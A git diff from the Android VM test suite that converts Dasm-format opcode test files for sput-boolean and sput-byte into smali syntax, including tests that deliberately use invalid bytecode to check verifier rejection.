diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.d
deleted file mode 100644
index b1e5f5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_21.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali
new file mode 100644
index 0000000..6a3bbd8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_21.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.d
deleted file mode 100644
index e13f364..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_22.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali
new file mode 100644
index 0000000..2988abe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_22.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.d
deleted file mode 100644
index 9a5ae68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_23.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_23
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali
new file mode 100644
index 0000000..69e0bb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_23.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.d
deleted file mode 100644
index 3fe5b45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_24.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_24
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali
new file mode 100644
index 0000000..5280c5c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_24.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_24;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.d
deleted file mode 100644
index 874c5f2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_3.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_3
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_3.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali
new file mode 100644
index 0000000..8ece531
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_3.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_3;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.d
deleted file mode 100644
index d0a7422..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_4.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_4
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-boolean v3, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali
new file mode 100644
index 0000000..03cf0c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_4.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-boolean v3, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.d
deleted file mode 100644
index c6b97f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_7.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_7
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_7.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali
new file mode 100644
index 0000000..74ce45a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_7.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_7;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.d
deleted file mode 100644
index 4b781da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_8.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.TestStubs.TestStubField Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali
new file mode 100644
index 0000000..f99cee5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_8.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/TestStubs;->TestStubField:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.d
deleted file mode 100644
index 6deddd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_9.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_9
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_9noclass.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali
new file mode 100644
index 0000000..f204bd1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_9.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_9noclass;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.d
deleted file mode 100644
index ec9b61c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_1.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_1
-.super java/lang/Object
-
-.field public static st_i1 B
-.field protected static st_p1 B
-.field private static st_pvt1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()B
-.limit regs 2
-
-       sget-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_pvt1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali
new file mode 100644
index 0000000..32f2772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_1.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+.field protected static st_p1:B
+.field private static st_pvt1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()B
+.registers 2
+
+       sget-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_pvt1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.d
deleted file mode 100644
index f0a420c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_10.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_10
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_10.st_i1N B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali
new file mode 100644
index 0000000..e7f4df0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_10.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_10;->st_i1N:B
+       return-void
+.end method
+
+
